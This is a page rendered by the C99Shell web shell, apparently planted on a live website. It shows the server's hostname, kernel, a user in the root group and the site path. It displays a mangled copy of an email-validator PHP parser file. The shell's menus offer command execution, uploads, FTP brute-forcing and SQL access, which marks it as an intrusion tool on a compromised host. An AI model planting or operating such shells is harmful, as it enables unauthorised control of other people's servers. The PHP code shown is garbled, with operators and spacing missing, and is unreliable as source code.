!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/egulias/email-validator/src/Parser/   drwxr-xr-x
Free 29.31 GB of 117.98 GB (24.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FoldingWhiteSpace.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Egulias\EmailValidator\Parser;

use 
Egulias\EmailValidator\EmailLexer;
use 
Egulias\EmailValidator\Warning\CFWSNearAt;
use 
Egulias\EmailValidator\Result\InvalidEmail;
use 
Egulias\EmailValidator\Warning\CFWSWithFWS;
use 
Egulias\EmailValidator\Result\Reason\CRNoLF;
use 
Egulias\EmailValidator\Result\Reason\AtextAfterCFWS;
use 
Egulias\EmailValidator\Result\Reason\CRLFAtTheEnd;
use 
Egulias\EmailValidator\Result\Reason\CRLFX2;
use 
Egulias\EmailValidator\Result\Reason\ExpectingCTEXT;
use 
Egulias\EmailValidator\Result\Result;
use 
Egulias\EmailValidator\Result\ValidEmail;

class  
FoldingWhiteSpace extends PartParser
{
    public const 
FWS_TYPES = [
        
EmailLexer::S_SP,
        
EmailLexer::S_HTAB,
        
EmailLexer::S_CR,
        
EmailLexer::S_LF,
        
EmailLexer::CRLF
    
];

    public function 
parse(): Result
    
{
        if (!
$this->isFWS()) {
            return new 
ValidEmail();
        }

        
$previous $this->lexer->getPrevious();

        
$resultCRLF $this->checkCRLFInFWS();
        if (
$resultCRLF->isInvalid()) {
            return 
$resultCRLF;
        }

        if (
$this->lexer->current->isA(EmailLexer::S_CR)) {
            return new 
InvalidEmail(new CRNoLF(), $this->lexer->current->value);
        }

        if (
$this->lexer->isNextToken(EmailLexer::GENERIC) && !$previous->isA(EmailLexer::S_AT)) {
            return new 
InvalidEmail(new AtextAfterCFWS(), $this->lexer->current->value);
        }

        if (
$this->lexer->current->isA(EmailLexer::S_LF) || $this->lexer->current->isA(EmailLexer::C_NUL)) {
            return new 
InvalidEmail(new ExpectingCTEXT(), $this->lexer->current->value);
        }

        if (
$this->lexer->isNextToken(EmailLexer::S_AT) || $previous->isA(EmailLexer::S_AT)) {
            
$this->warnings[CFWSNearAt::CODE] = new CFWSNearAt();
        } else {
            
$this->warnings[CFWSWithFWS::CODE] = new CFWSWithFWS();
        }

        return new 
ValidEmail();
    }

    protected function 
checkCRLFInFWS(): Result
    
{
        if (!
$this->lexer->current->isA(EmailLexer::CRLF)) {
            return new 
ValidEmail();
        }

        if (!
$this->lexer->isNextTokenAny(array(EmailLexer::S_SPEmailLexer::S_HTAB))) {
            return new 
InvalidEmail(new CRLFX2(), $this->lexer->current->value);
        }

        
//this has no coverage. Condition is repeated from above one
        
if (!$this->lexer->isNextTokenAny(array(EmailLexer::S_SPEmailLexer::S_HTAB))) {
            return new 
InvalidEmail(new CRLFAtTheEnd(), $this->lexer->current->value);
        }

        return new 
ValidEmail();
    }

    protected function 
isFWS(): bool
    
{
        if (
$this->escaped()) {
            return 
false;
        }

        return 
in_array($this->lexer->current->typeself::FWS_TYPES);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--